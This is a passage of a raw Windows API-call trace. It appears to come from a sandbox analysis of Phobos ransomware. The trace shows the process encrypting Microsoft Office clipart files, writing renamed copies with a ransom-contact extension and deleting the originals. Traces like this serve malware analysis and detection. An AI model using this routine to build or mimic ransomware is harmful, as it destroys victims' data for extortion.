office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.577] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.577] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.578] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1710) returned 1 [0170.578] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.578] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xfea, lpOverlapped=0x0) returned 1 [0171.039] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xff0, dwBufLen=0xff0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xff0) returned 1 [0171.039] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xff0, lpOverlapped=0x0) returned 1 [0171.040] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1610) returned 1 [0171.040] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.041] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0171.041] CryptDestroyKey (hKey=0x1d1610) returned 1 [0171.041] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0171.041] CryptDestroyKey (hKey=0x1d1710) returned 1 [0171.041] CloseHandle (hObject=0x2c8) returned 1 [0171.041] CloseHandle (hObject=0x2e0) returned 1 [0171.041] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0171.043] SetEvent (hEvent=0x298) returned 1 [0171.043] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0171.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0171.044] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=8552) returned 1 [0171.044] CloseHandle (hObject=0x2e0) returned 1 [0171.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0171.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0171.044] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.045] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0171.045] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0171.045] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.046] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2168, lpOverlapped=0x0) returned 1 [0171.178] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2170, dwBufLen=0x2170 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2170) returned 1 [0171.178] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2170, lpOverlapped=0x0) returned 1 [0171.180] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1410) returned 1 [0171.180] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.180] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0171.180] CryptDestroyKey (hKey=0x1d1410) returned 1 [0171.180] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0171.180] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.180] CloseHandle (hObject=0x2e0) returned 1 [0171.180] CloseHandle (hObject=0x2c8) returned 1 [0171.180] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0171.182] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0171.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0171.183] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=7878) returned 1 [0171.183] CloseHandle (hObject=0x2c8) returned 1 [0171.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0171.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0171.183] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.184] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0171.184] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0171.184] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.184] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x1ec6, lpOverlapped=0x0) returned 1 [0171.734] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1ed0) returned 1 [0171.734] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1ed0, lpOverlapped=0x0) returned 1 [0171.735] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0171.735] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.735] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0171.735] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.735] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0171.735] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0171.735] CloseHandle (hObject=0x2c8) returned 1 [0171.735] CloseHandle (hObject=0x2e0) returned 1 [0171.736] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0171.737] SetEvent (hEvent=0x298) returned 1 [0171.738] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0171.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0171.738] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=11002) returned 1 [0171.738] CloseHandle (hObject=0x2e0) returned 1 [0171.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0171.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0171.739] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.739] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0171.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0171.740] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0171.740] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.740] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2afa, lpOverlapped=0x0) returned 1 [0171.994] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2b00) returned 1 [0171.994] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2b00, lpOverlapped=0x0) returned 1 [0171.997] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0171.997] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0171.997] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0171.997] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.997] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0171.997] CryptDestroyKey (hKey=0x1d1590) returned 1 [0171.997] CloseHandle (hObject=0x2e0) returned 1 [0171.997] CloseHandle (hObject=0x2c8) returned 1 [0171.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0172.000] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0172.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0172.001] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2108) returned 1 [0172.001] CloseHandle (hObject=0x2c8) returned 1 [0172.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0172.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0172.001] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0172.001] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0172.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0172.002] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0172.003] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0172.003] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x83c, lpOverlapped=0x0) returned 1 [0172.324] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x840, dwBufLen=0x840 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x840) returned 1 [0172.324] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x840, lpOverlapped=0x0) returned 1 [0175.737] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1510) returned 1 [0175.737] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0175.737] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0175.737] CryptDestroyKey (hKey=0x1d1510) returned 1 [0175.737] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0175.737] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0175.737] CloseHandle (hObject=0x2c8) returned 1 [0175.737] CloseHandle (hObject=0x2e0) returned 1 [0175.737] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0175.739] SetEvent (hEvent=0x298) returned 1 [0175.740] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0175.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0175.740] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=8926) returned 1 [0175.740] CloseHandle (hObject=0x2e0) returned 1 [0175.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0175.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0175.741] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0175.741] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0175.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0175.742] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a10) returned 1 [0175.742] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0175.742] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x22de, lpOverlapped=0x0) returned 1 [0175.932] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x22e0) returned 1 [0175.932] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, 